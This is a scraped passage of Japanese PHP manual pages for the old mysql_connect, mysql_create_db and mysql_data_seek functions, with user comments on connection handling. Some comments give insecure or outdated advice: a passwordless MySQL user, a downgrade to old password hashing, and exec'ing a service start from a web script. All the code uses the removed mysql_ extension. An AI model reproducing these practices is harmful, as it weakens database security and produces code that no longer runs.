The variable is definitely not optional in 5.3... Caused me a bit of a headache when I was debugging until I realized it was the close function that was causing a hang. So if using just:

<?php
mysql_connect(<...>);

mysql_close();
?>

Use:

<?php
$connection = mysql_connect(<...>);

mysql_close($connection);
?>

(where $connection is any variable of your choice)
mdes[SPAM]saintes at gmail dot com 09-Jul-2010 09:12
i just came over a problem that i had with apache.

It crashs and said :

"Parent: child process exited with status 3221225477 -- Restarting."

the error came from the extesion php_mysql.dll

i didn't understand what was the reason of that crash..

Then, i debug the script that i had downloaded and i noticed that that was the function mysql_close() which caused the problem.

The solution is, to send to it the link identifier which is optionnal in the description but cause a crash with no commentary.

Thanks to agneady.
Anonymous 23-Apr-2010 02:26
At least with PHP5.3.2 and Windows connecting by tcp, you should always use this mysql_close() function to close and free up the tcp socket being used by PHP.  Garbage collection after script execution does not close the tcp socket on its own.  The socket would otherwise remain in 'wait' state for approximately 30 seconds, and any additional page loads/connection attempts would only add to the total number of open tcp connections.  This wait time does not appear to be configurable via PHP settings.
bbodelcampo at yahoo dot co dot uk 13-Dec-2005 05:20
A little note about multiple simultaneous connections to different hosts...

I work on a site that pulls content primarily from one db but uses a db on a foreign server to verify licensing.  One might expect the following to work:

<?php
// Open the connection to the primary db
$res1 = mysql_connect($host1, $user1, $pass1);
mysql_select_db($db1);

// Open connection to the license server
$res2 = mysql_connect($host2, $user2, $pass2);
mysql_select_db($db2, $res2);

// Pull license data and close when done
mysql_query($check_sql, $res2);
// ...
mysql_close($res2);

// Now pull content from the primary db
// Not specifying the resource should default to the last open db
mysql_query($query);
// ...
?>

Turns out this last query, since it cant find an active connection, will try to connect with mysql_connect() with no paramaters.  But if instead you do it as mysql_query($query, $res1), or alternatively, run the mysql_connect for this host again then it works fine.  Thus, it doesnt seem to be possible to have code with an overarching "global" db connection interspersed with temporary connections to another host/db....
levi at alliancesoftware dot com dot au 29-Apr-2005 12:03
As at 5.0.x and 4.3.x: This function should never be used with shared links; instead you should set your link variables to null.
(This explains red's and beer's () problems in previous comments)

  Here is how shared links work:
  - Each link is a resource. mysql_connect() by default looks for a resource with the same paramaters. If one exists, it will return the existing resource.
  - Every assignment of that resource to a variable increases the resource's reference count.
  - When the reference is decremented to zero, the underlying TCP/socket connection is closed.
    - Every assignment of a variable away from that resource decrements the reference count. (This includes a function level variable going out of scope)
    - mysql_close() also decrements the reference count.

Note the last two points: mysql_close() _and_ reassignment of a variable decrement the link's reference count.

A common mistake is a function like:

<?php
function dothings() {
  $link = mysql_open(...);
  // .. do some queries ..
  mysql_close($link)
  $link = null;
}
?>

this will decrement the counter twice, possibly closing the underlying connection and causing errors in other parts of the program.

http://bugs.php.net/bug.php?id=30525 "this is not a bug but just how it works"
beer_nomaed _AT_ hotmail _DOT_ com 03-Dec-2004 01:26
Be careful when using multiple links to connect to same database (with same username). Unless you specify explicitly in mysql_connect() to create a new link, it will return an already open link. If that would be closed by mysql_close(), it will also (obviously) close the other connection, since the link is the same.
Had lot of trouble figuring it out, since in <=4.3.6 there was a bug which didn't close the connection, but after the patch to >=4.3.7, all my application broke down because of a single script that did this.


MySQL サーバーへの接続をオープンする

  • ≪ mysql_close
  • mysql_create_db ≫
  • PHP Manual
  • MySQL 関数
  • MySQL サーバーへの接続をオープンする

mysql_connect

(PHP 4, PHP 5)

mysql_connect — MySQL サーバーへの接続をオープンする

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_connect()
  • PDO::__construct()

説明

mysql_connect ( string $server = ini_get("mysql.default_host") , string $username = ini_get("mysql.default_user") , string $password = ini_get("mysql.default_password") , bool $new_link = false , int $client_flags = 0 ) : resource|false

MySQL サーバーへの接続をオープンあるいは再利用します。

パラメータ

server

MySQL サーバー。"hostname:port" のようにポート番号を 指定することが可能で、localhost では ":/path/to/socket" のようにソケットへのパスを指定することも可能です。

PHP ディレクティブ mysql.default_host が指定されない場合（デフォルト）、 'localhost:3306' が使用されます。 SQL セーフモード の場合はこのパラメータは無視され、常に 'localhost:3306' が用いられます。

username

ユーザー名。デフォルト値は mysql.default_user で定義されている値です。SQL セーフモード の場合はこのパラメータは無視され、 サーバープロセスの所有ユーザー名が用いられます。

password

パスワード。デフォルト値は mysql.default_password で定義されている値です。SQL セーフモード の場合はこのパラメータは無視され、 空のパスワードが用いられます。

new_link

同じ引数で 2 回 mysql_connect() をコールした場合、 2 回目は新規のリンクが確立されるのではなく、代わりにすでにオープンされた リンクのリンク ID が返されます。 パラメータ new_link はこの動作を変更し、既に mysql_connect() が同じパラメータでコールされて いる場合でも常に新規のリンクがオープンされるようにします。 SQL セーフモード の場合はこのパラメータは無視されます。

client_flags

パラメータ client_flags は、 以下の定数の組み合わせです： 128 (LOAD DATA LOCAL の処理を有効にする)、 MYSQL_CLIENT_SSL、 MYSQL_CLIENT_COMPRESS、 MYSQL_CLIENT_IGNORE_SPACE または MYSQL_CLIENT_INTERACTIVE。 詳細な情報については MySQL クライアント定数 を参照ください。 SQL セーフモード の場合はこのパラメータは無視されます。

返り値

成功した場合に MySQL リンク ID を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
5.5.0 | この関数は E_DEPRECATED エラーを発するようになりました。

例

例1 mysql_connect() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できませんでした: ' . mysql_error());
}
echo '接続に成功しました';
mysql_close($link);
?>

例2 mysql_connect() で hostname:port 構文を使用する例

<?php
// example.com のポート 3307 に接続します
$link = mysql_connect('example.com:3307', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できませんでした: ' . mysql_error());
}
echo '接続に成功しました';
mysql_close($link);

// localhost のポート 3307 に接続します
$link = mysql_connect('127.0.0.1:3307', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できませんでした: ' . mysql_error());
}
echo '接続に成功しました';
mysql_close($link);
?>

例3 mysql_connect() で ":/path/to/socket" 構文を使用する例

<?php
// localhost のソケット（例: /tmp/mysql.sock）に接続します

// 方法 1: localhost を省略する
$link = mysql_connect(':/tmp/mysql', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できませんでした: ' . mysql_error());
}
echo '接続に成功しました';
mysql_close($link);

// 方法 2: localhost を指定する
$link = mysql_connect('localhost:/tmp/mysql.sock', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できませんでした: ' . mysql_error());
}
echo '接続に成功しました';
mysql_close($link);
?>

注意

注意:

サーバー名に "localhost" や "localhost:port" を指定した場合、MySQL クライアントライブラリはそれをオーバーライドし、 ローカルソケット（Windows では名前つきパイプ）に接続しようとします。 TCP/IP を用いたい場合は、"localhost" のかわりに "127.0.0.1" を用いてください。もし MySQL クライアントライブラリが 間違ったローカルソケットへ接続しようとしている場合、これを修正するには PHP 設定の に正しいパスを 指定したうえでサーバー名を空白にしておくべきです。

注意:

サーバーへのリンクは、mysql_close() のコールにより 明示的に閉じられない限り、スクリプトの実行終了と同時に閉じられます。

注意:

エラー "Can't create TCP/IP socket (10106)" が発生するのは、たいていは variables_order 設定ディレクティブに E が含まれていない場合です。 Windows では、これが含まれていなければ SYSTEMROOT 環境変数が使用できず、PHP が Winsock の読み込みに失敗します。

参考

  • mysql_pconnect() - MySQL サーバーへの持続的な接続をオープンする
  • mysql_close() - MySQL 接続を閉じる

User Contributed Notes

VTool 27-Oct-2016 07:11
fcgid_module modules/mod_fcgid.so
FcgidMaxRequestLen 209715200
FcgidConnectTimeout 240
FcgidIOTimeout 240
FcgidBusyScanInterval 240
FcgidBusyTimeout 240
# Esta linea instruye al servidor web para que reconozca un tipo nuevo (php)
AddHandler fcgid-script .php
# Esta linea indica al servidor web donde esta instalado PHP.
FcgidInitialEnv PHPRC "c:/php"
# Esta linea indica al servidor web que debe ejecutar la aplicacion
# php-cgi.exe cuando un cliente (navegador) solicite una pagina con
# extension .php
FcgidWrapper "c:/php/php-cgi.exe" .php
# Con esta linea damos los permisos necesarios para que los clientes puedan
# acceder/ejecutar a los archivos .php
<Directory "c:/Apache/htdocs">
Options Indexes FollowSymLinks Includes ExecCGI
AllowOverride None
Allow from all
</Directory>
pepik at gmail dot cz 19-Jun-2013 11:50
<?php
 $server = 'y.com';
 $login='x';
 $pass='x';
 $db='x';

 $spojeni=mysql_connect($server,$login,$pass) or die ('nelze se pripojit');
 mysql_select_db($db,$spojeni);
 mysql_query("Set names 'utf8'");
?>
yangqingrong at wudimei dot com 18-May-2013 02:17
hello,every one.
  do use "127.0.0.1" instead of "localhost" for php5.4-win7 if you feel the speed is slow.because win7 use ipv6 default.
   "localhost" is for ipv4.

  <?php
   $conn =mysql_connect( "127.0.0.1",
                                       "root",
                                       "pass");
 ?>
trev at dedicate dot co dot uk 07-Aug-2012 04:42
A little note if your scripts sleep a lot, you want to run exactly the same SQL statement 2+ times and you have the "MySQL has gone away" error a lot.

Try setting the 4th parameter to TRUE as it seems sometimes PHP doesn't spot that resource ID x which it used for the last identical lookup is now dud and so tries to use it, thus bypassing tests such as is_resource() and causing a failure.

This is for when mysql_ping() doesn't work for your situation of course.
nicodenboer at yahoo dot com 20-May-2012 01:50
Be carefull here if you use utf8.

The file db.opt of your database should contain the following lines:
default-character-set=utf8
default-collation=utf8_general_ci

It means that your database is created to use the utf8 characterset.
One way to accomplish this is:
CREATE DATABASE my_database DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

Then, after connecting to it from PHP you should use:
mysql_set_charset("UTF8", $connection);

If you don't do this, you will get ugly problems in case other software is reading and writing to the same database!!!!!!
php at lanar dot com dot au 15-Apr-2012 01:11
After upgrading mysql sever to 5.5.21 from 5.0.9 on centos, my WinXP stopped being able to connect with host with the error message
'Bad Handshake'.

Eventual solution to problem was to remove MYSQL_CLIENT_SSL from the call to mysql_connect().

I will also report this as a bug.
bimal at sanjaal dot com 05-Jun-2011 12:15
Portable connections: If you migrate your source code from one to different servers and you would like to avoid re-configuration on a new serve, user the $_SERVER['SERVER_NAME'] flag as:

<?php
switch($_SERVER['SERVER_NAME'])
{
case 'server1.example.com':
  mysqlconnect('host1', 'user1', 'password1');
  mysql_select_db('db1');
  break;
case 'server2.example.com':
  mysqlconnect('host2', 'user2', 'password2');
  mysql_select_db('db2');
  break;
}
?>

This makes a conditional connection to mysql database. It automatically chooses the correct server according to the server name from where your script runs.

Hopefully, you like this portable configuration.
avinc@live,hk 18-Apr-2011 05:47
My situation: "I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP"

But, PHP only can connect to MySQL using mysql_connect("localhost", "root", "password");

"Its selinux not allowing apache to make remote connections"

Solution:
setsebool -P httpd_can_network_connect=1
Harouk 28-Jan-2011 06:11
If you encounter speed problems using this command to a distant server, you can add the line "skip-name-resolve" in your my.cnf to fix it.
i dot linker at gmail dot com 13-Nov-2010 10:55
MySQL connection string regexp:
~mysql://([^:@/]*):?([^@/]*)@?([^/]*)/?([^/]*)~
tpl99 at yandex dot ru 30-Apr-2010 01:56
Whenever you open two connections to a single database,
you are likely not to get any error when selecting not existing db.

<?php
$db1 = mysql_connect( ... );
mysql_select_db('existing_db',$db1);

$db2 = mysql_connect( ... );
mysql_select_db('not_existing_db', $db2);

mysql_query(... , $db2);
//will return no errors and the query wouldn't be executed.
?>

Pay attention and you may save few hours of debugging.
abelcheung at gmail dot com 17-Mar-2010 10:37
Note that named pipe on Windows is unusable since PHP 5.3, and TCP connection shall be used even in localhost.
sholland at napervillegi dot com 02-Dec-2009 09:18
If you are getting an error "Can't assign requested address" you may have a problem with the mysql port.  I had just moved my server to Mac OS X 10.6 and mysql_connect was giving this error.  Going into the /etc/php.ini file and setting the default port number to 3306 fixed the problem.

mysql.default_port = 3306

The php.ini file suggests that PHP will select the port by using the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services, but in this case it is not so.  /etc/services on my machine has 3306 listed, but it didn't get picked up.

This is sort of a bug report, in that the documented feature isn't working.  Please don't delete this until the community decides how to address the problem.  This is one of those hair pulling exercises to get fixed.
david dot schueler at wapkamera dot de 11-Sep-2009 08:51
If you are getting MySQL Errors like #2006: MySQL server has gone away, and you are using mysql_connect() and pcntl_fork() then make shure that you are reconnecting to the mysql server with each created child which you fork()ed.

I pulled my hair out for many days because i was using the same mysql connection for each child and was getting that "MySQL server has gone away" errors.

Here is a simple example:
<?php
$link = mysql_connect($db_server, $db_user, $db_pass);
mysql_select_db($db_database,$link));

$pid = pcntl_fork();
if ($pid == -1)
  // Error forking child
elseif ($pid) {
  // Parent will be here
} else {
  // The child has to esablish a *new* mysql connection.
  // if you use mysql_connect without the 4th parameter
  // then it will use the connection from the parent. But
  // if the child dies, the connection will be unaviable in
  // the parent too.
  // So, note the "true" as 4th parameter.
  $newlink = mysql_connect($db_server, $db_user, $db_pass,true);
  mysql_select_db($db_database,$newlink));
  // ...
}
?>
cory dot mawhorter gmail.com 02-Jul-2009 04:38
Hopefully this saves someone some grief.

My dev computer is windows and runs wampserver.  I have frequent problems with PHP being unable to connect to MySQL after periods of extreme DB activity.

Long story short, it was because I was not running mysql via named-pipes and Windows was running out of available ports to serve PHP.  Apparently, on windows, you have 5000 ports to work with and once they are opened, they remain so for 120 seconds before being released.  This causes problems with mysql/networking because a new port is requested for each connection.

You can read more about the problem at:
(Link too long and had to be broken up)
http://dev.mysql.com/doc/refman/5.0/en
/can-not-connect-to-server.html#can-not-connect-to-server-on-windows
?>

Since mysql is on localhost, I can just enable named-pipes (which is how you should have mysql setup if you don't need networking) to get around the problem instead of the workaround listed on that page.

For details, see:
http://dev.mysql.com/tech-resources
/articles/securing_mysql_windows.html
Contact at LinuxIntro dot com 27-Oct-2008 09:34
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);
bmagilavy at avalon-internet dot com 04-Sep-2008 01:00
If you trying to connect to a remote server, here are a few things that can go wrong. Perhaps this list will save someone some time:

1. You may need to get in touch with the remote server's tech support:

 a. to ensure that you can get through its firewall. It is not necessarily enough to have your server number listed in the recipient site's cpanel remote access host list. It depends on how the server company has things set up;

 b. to find out what port number they are using for database connections, which may not be the default used by mysql_connect;

 c. If you are using ODBC, the host to which you are trying to connect may or may not have any ODBC drivers installed; and

 d. If you are working from a dynamic IP, they may be set up to accommodate it, or you may have to use a proxy. See http://forge.mysql.com/wiki/MySQL_Proxy .

2. If you are working from a shared server yourself, the server number you were sent in the sign-up letter is probably NOT the server number you should be using to connect to a remote database. You need the server number of the machine on which your site is sitting, not your virtual account server number on that machine. You can get this from your own tech support.

I am grateful to Jonathan Jones at Bluehost for this analysis.
pascalxusNOSPAM at yahoo dot com 22-Aug-2008 12:08
I just wanted to share a common wrapper that I use for executing one line SQL statements.  Its an easy wrapper to use that takes care of the connection open/close.  Optionally, the mysql_connect can be replaced with mysql_pconnect for persistent connections.

  function executeQuery( $query, $db, $nocon )
  {
      if( $nocon != "nocon" )
        if( $db != "" ) connect( $db );
        else connect( "pascal_crm" );

      $result= mysql_query( $query );
      $err   = mysql_error();
      if( $err != "" ) echo "error=$err  ";

      if( $nocon != "nocon" )
        mysql_close();
      return $result;
  }

Here's a related mysql_pconnect trivia question:
http://www.codesplunk.com/nr/questions/php17.html
arithmetric at gmail dot com 25-Mar-2008 10:59
If you are trying to open multiple, separate MySQL connections with the same MySQL user, password, and hostname, you must set $new_link = TRUE to prevent mysql_connect from using an existing connection.

For example, you are opening two separate connections to two different databases (but on the same host, and with the same user and password):

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname2, $db2);

At this point, both $db1 and $db2 will have selected the database named by $dbname2.

The workaround is to require that the second MySQL connection is new:

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass, TRUE);
$rv = mysql_select_db($dbname2, $db2);

Now, $db1 should have selected $dbname1, and $db2 should have selected $dbname2.

This has been documented on the mysql_select_db page as well.

Note: This occurs only when the server, username, and password parameters are identical for each mysql_connect statement.
aeolianmeson at blitzeclipse dot com 03-Mar-2008 12:15
Recently, I saw an obscure problem where I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP-CLI. This was in Windows (XP). I usually use MySQLi extension, but also tried MySQL, and both refused to work.

I restarted the service multiple times, and the PHP-CLI still would not connect.

This eventually cleared up.

I made sure to stop the service. Then, I downloaded a zipped binary-package from dev.mysql.com and started the server a few times from the commandline (mysqld/mysqld-nt, where mysqld-nt is tuned specifically for Windows) and stopped it ("mysqladmin shutdown"). I was then able to successfully connect from the PHP-CLI ("php -r "mysql_connect('localhost', 'root', ''); ").

Making sure it was stopped, I started the regular server from the commandline, and that was then successful. I then stopped it and started it via the Services panel, and everything still worked.

I'm assuming that when the service was restarted initially, there was a component that had died and refused to be shutdown even though the service appeared to be stopped, but shutting it down via mysqladmin killed everything entirely.
dan at novapulsar dot com 11-Feb-2008 11:24
[EDIT by danbrown AT php DOT net: The issue this user is illustrating is a common problem when dealing with multiple databases from PHP.  Note his comments at the end of the code for an explanation.]

Looks like I learned this the hard way:

<?php

//establish connection to master db server
mysql_connect (DB_HOST, DB_USER, DB_PASSWORD);
mysql_select_db (DB_NAME);

//establish connection to read-only slave cluster
$objMySQL_Read = mysql_connect (SLAVE_DB_HOST, SLAVE_DB_USER, SLAVE_DB_PASSWORD);
mysql_select_db (DB_NAME, $objMySQL_Read);

$strSQL = "SELECT col1,col2 FROM "  . DB_NAME . "." . "tbl1 WHERE 1=1";

$objRS = mysql_query ($strSQL, $objMySQL_Read); //returns data from slaves

$strSQL = "INSERT INTO " . DB_NAME . "." . "tbl1 (col1,col2) VALUES (val1,val2)";

mysql_query ($strSQL);

//expected behavior, to insert the last statement into the master db, since it doesn't reference the read-only resource explicitly. instead, it inserts the record into the last connection, even though it shouldn't, since the last connection is not a global/anonymous connection like the first one, it's $objMySQL_Read.

//you'll get out of sync db's across your cluster unless you explicitly define all connection resources

?>
Steve 24-Dec-2007 03:32
The too many connections issue can be due to several problems.

1. you are using pconnect. This can tie up many connections and is not really needed for MySQL as new connections are really fast.

2. Apache children are hanging around for too long - combine this with pconnect and you have recipe for disaster.

Suggestions: reduce the amount of time apache child processes stay connected to the client and how many connections before they are killed off. And don't use pconnect.
Ignacio Casinelli Esviza 20-Oct-2007 10:51
Sometimes, I want that MySQL service start automatically when my app need it. This is specially true if you work in a development PC and/or in an small intranet environment.

You can do something like this: if the mysql_connect() function returns FALSE, try to force the initialization of the MySQL service!

For example, under Windows:

<?php

$link = @mysql_connect($server,$user,$pass);
if (empty($link)){
    @exec("%SystemRoot%\\system32\\net.exe start mysql");
    sleep(5);
    $link = @mysql_connect($servidor,$usuario,$clave);
}

?>

In Linux of course you can try "/etc/init.d/mysqld start" but you will need special permissions.

Regards.
Peter Robinett 02-Oct-2007 06:20
The use of mysql connections can become tricky with objects. I am using mysql_connect() in a database class I wrote and the class destructor calls mysql_close. Because I have several of these database objects, mysql_connect reuses existing connections. This is fine except when the script reaches the end of execution and PHP's garabage collection calls all the objects' __destruct() functions. mysql_close() throws a warning that the connection is invalid, in my case for one object. This is happening with objects which use an existing connection, as the connection has already been closed. I solved the problem by forcing mysql_connect() to create a new connection each time. This is not efficient but is sufficient for my purposes for now.

I wouldn't say this is a bug per-se, but it's something to look out for. I imagine using mysqli is the ultimate solution...
martin 09-Aug-2007 07:35
MYSQL_CLIENT_SSL is not working, use MySQLi and mysqli->ssl_set()
jslakva at gmail dot com 08-Apr-2007 06:05
if between first and second call with same arguments there was another call with another argument, initial connection link is not reused, but new connection is created instead, regardless of new_link argument.

for example, here only one single link will be opened and then reused:
<?php
$link1 = mysql_connect("localhost");
$link2 = mysql_connect("localhost");
?>

and here _three_ separate links will be opened:
<?php
$link1 = mysql_connect("localhost");
$link3 = mysql_connect("127.0.0.1");
$link2 = mysql_connect("localhost");
?>

so if you wanted to switch between connections just by call to mysql_connect, and rely on its internal link caching, you can be wasting your database connections.
angelo [at] mandato <dot> com 19-Mar-2007 01:07
The post from 'Graham_Rule at ed dot ac dot uk' should include the following WARNING:

WARING: THE VALUES OF THESE DIRECTIVES WILL BE EXPOSED IF ANY OF THE CODE INCLUDES THE phpinfo() FUNCTION.

The phpinfo() function will print these values clear as day.  I highly suggest against this method of storing MySQL authentication information.

I recommend creating connect and cleanup functions in a separate include file.  If security is a concern, locate the include file outside of your web root folder.

<?php
    $g_link = false;

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'host.name', 'user', 'password') or die('Could not connect to server.' );
        mysql_select_db('database_name', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>

Simply include your connnection.php file in your script and anywhere you use the mysql_query() function include a call to the GetMyConnection() function.

<?php
    $res = mysql_query("SELECT ...", GetMyConnection() );
?>
sky dot sama dot remove dot dots at Gmail dot com 12-Dec-2006 08:42
In case anyone else is getting "Client does not support authentication protocol requested by server; consider upgrading MySQL client" error. The problem is the new password hashing method used by MySQL >= 4.1 mentioned below.

Either update your PHP to v5 where the new password hashing is supported or use old_password() in MySQL 4.1.

FROM: http://www.digitalpeer.com/id/mysql

UPDATE mysql.user SET password=old_password("youroldhashpassword") WHERE user ='youruserid' and host ='yourhost'

then do

FLUSH PRIVILEGES
Graham_Rule at ed dot ac dot uk 10-Nov-2006 01:43
The addition of entries to httpd.conf to stop .inc files being served by Apache is certainly useful and to be recommended.

But it doesn't change the fact that these files have to be readable by Apache so that the PHP processor can get at them.

As long as your don't have multiple, possibly untrusted, users on your machine then that's OK.  But when you are running a large multi-user service with thousands of users its always possible that one of them will look at your .inc files and take a note of the passwords you have in them.  They could even copy them into their own scripts and modify your databases!

Even if local users are trusted, there is always the possibility of a rogue script (PHP or some nastier language) being installed by an ignorant user.  That script might then read your .inc files (whether or not they are in the web publishing tree) and expose your password.
brinca at substancia dot com 09-Nov-2006 07:43
If you prefer to use a hostname instead of an ip on your connection string in a script (to be able to change the ip at will), but don't want the overhead of dns lookups, just add it to your /etc/hosts file (in windows: %WINDIR%/system32/drivers/etc/hosts).

For example, add the following to your hosts file (changing the bogus ip to your server's real ip):

123.123.123.123   mysqlserver1

Note: On linux, make sure you have "order: hosts,bind" on your /etc/host.conf file.

On a script, make the mysql connection like so:

<?
  $sid = mysql_connect ("mysqlserver1", "user", "pass");
?>

Note: this sample is in php, but it can be any other programming language (just type "ping mysqlserver1" on a prompt, on your server)

And there you have it! If your server ever gets assigned a different ip, just update the hosts file with the new one (every script will work as-is, even if under different hostnames).
rui dot batista at netcabo dot pt 31-May-2006 08:42
Ever wonder what "default username" is?
<?php
$link = mysql_connect() or die(mysql_error());
$result = mysql_query("SELECT SESSION_USER(), CURRENT_USER();");
$row = mysql_fetch_row($result);
echo "SESSION USER: ", $row[0], "<br>\n";
echo "CURRENT USER: ", $row[1], "<br>\n";
?>
Both are ODBC@localhost in my win2k install, so my advice for windows is:
- create a MySQL user named ODBC with no password
- add localhost to ODBC user [right-click ODBC]
- set schema previleges to ODBC@localhost
- use mysql_connect() with no parms, or do not use ;)
This turns to work also with odbc_connect:
odbc_connect("myDSN", "", "")
25-Jun-2005 03:18
connect to mysql via named pipe under windows :

in my.ini, add this:

[mysqld]
enable-named-pipe

then connect to the server, then connect to mysql using

mysql_connect('.')
chaoscontrol_hq at yahoo dot com 23-Aug-2004 02:10
In MySQL4.1 and later, the default password hashing format has changed making it incompatible with 3.x clients.
I found out mysql_connect() works on server versions >= 4.1 when your MySQL user password is blank because password authentication isn't done in that case, otherwise you need to use another connection method (e.g. mysqli).
Also if you are using old MySQL tables on a new server (i.e. the passwords are stored in the old format), then the server will use the old auth method automatically and this function should work in all cases.
Hopefully this will help someone, it had me confused for a while because some of the users on my 4.1 server could connect and some couldn't.
martinnitram at excite dot com 31-Oct-2003 02:22
to use load data local infile function from mysql (at mysql 4.0.16, php 4.3.3), set fifth parameter of mysql_connect() to CLIENT_LOCAL_FILES(128), which based on MYSQL C API ( also mysql server support load file, check by "show variables like 'local_infile' ")

Thank  'phpweb at eden2 dot com' to point this out
Graham_Rule at ed dot ac dot uk 14-May-2003 08:43
Another solution to the security problems of putting usernames and passwords into scripts. I haven't found this documented anywhere else so thought I'd suggest it for the online documentation. ........

Don't put passwords for mysql into scripts which may be read by any user on the machine.  Instead put them into an Apache configuration file and make sure that it is not world-readable. (Apache reads its main config files as root.)

For example, add this to your httpd.conf (and chmod it to 600 or 660) then tell your apache to reload itself (apachectl graceful).

<Directory /var/www/html/mydatabase>
    php_value mysql.default_user fred
    php_value mysql.default_password secret
    php_value mysql.default_host server.example.com
</Directory>

Then all you need in your PHP code is

$handle = mysql_connect() or die(mysql_error());

The passwords etc will only be picked up by scripts running in the named directory (or a sub-directory).  The same may be done for virtualhosts etc.

If you don't want to keep reloading your Apache server then you ay test things putting the php_value directives into a (world readable) .htaccess file. (Clearly not for production use.)

If you need to debug the values that are being supplied (or not) then use this snippet:

@syslog(LOG_DEBUG, "Using user=".ini_get("mysql.default_user").
            " pass=".ini_get("mysql.default_password").
            " host=".ini_get("mysql.default_host"));

(This assumes that you are not running in 'safe_mode' and that you are on a unix of some sort.)
amn -at- frognet.net 11-Mar-2003 10:40
Just in case you didn't know. You can use mysql_connect in a function to connect to a database and the connection is a super-global... meaning you can use mysql_query in other functions or in no function at all and PHP will use the connection that you opened. This is a handy bit of knowledge that helps if you have a large site with lots of scripts. If you create one function to connect to a db, and call that function in all your scripts, it makes for easier code maintenance since you only have to update one line of code to change your mysql connection instead of updating all your scripts individually.


MySQL データベースを作成する

  • ≪ mysql_connect
  • mysql_data_seek ≫
  • PHP Manual
  • MySQL 関数
  • MySQL データベースを作成する

mysql_create_db

(PHP 4, PHP 5)

mysql_create_db — MySQL データベースを作成する

警告

この関数は PHP 4.3.0 で非推奨になり、PHP 7.0.0 で MySQL 拡張モジュール 全体とあわせて削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_query()
  • PDO::query()

説明

mysql_create_db ( string $database_name , resource $link_identifier = NULL ) : bool

mysql_create_db() は、指定したリンク ID が指す サーバー上に新規のデータベースを作成します。

パラメータ

database_name

作成されるデータベースの名前です。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysql_create_db() の別の例

mysql_create_db() は廃止予定です。代わりに mysql_query() を用いて CREATE DATABASE ステートメントを発行する方法が 推奨されます。

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できません: ' . mysql_error());
}

$sql = 'CREATE DATABASE my_db';
if (mysql_query($sql, $link)) {
    echo "データベース my_db の作成に成功しました\n";
} else {
    echo 'データベースの作成に失敗しました: ' . mysql_error() . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

データベース my_db の作成に成功しました

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_createdb()

注意:

MySQL 4.x クライアントライブラリを用いて MySQL 拡張モジュールを ビルドした場合、この関数は利用できません。

参考

  • mysql_query() - MySQL クエリを送信する
  • mysql_select_db() - MySQL データベースを選択する

User Contributed Notes

There are no user contributed notes for this page.


内部的な結果ポインタを移動する

  • ≪ mysql_create_db
  • mysql_db_name ≫
  • PHP Manual
  • MySQL 関数
  • 内部的な結果ポインタを移動する

mysql_data_seek

(PHP 4, PHP 5)

mysql_data_seek — 内部的な結果ポインタを移動する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_data_seek()
  • PDO::FETCH_ORI_ABS

説明

mysql_data_seek ( resource $result , int $row_number ) : bool

mysql_data_seek() は、指定した結果 ID （result_identifier）が指す MySQL 結果の内部ポインタが指定した行番号 （row_number）を指すように移動します。 この後、たとえば mysql_fetch_assoc() のような MySQL のフェッチ関数をコールした場合には、 ここで指定した行の内容が返されます。

row_number は 0 から始まります。 row_number は 0 から mysql_num_rows() - 1 までの範囲にあるべきです。 しかし、もし結果セットが空（mysql_num_rows() == 0） の場合、0 へのシークは E_WARNING を発生して失敗し、mysql_data_seek() は false を返します。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

row_number

新しく結果ポインタを設定したい行番号です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysql_data_seek() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できませんでした: ' . mysql_error());
}
$db_selected = mysql_select_db('sample_db');
if (!$db_selected) {
    die('データベースを選択できませんでした: ' . mysql_error());
}
$query = 'SELECT last_name, first_name FROM friends';
$result = mysql_query($query);
if (!$result) {
    die('クエリは失敗しました: ' . mysql_error());
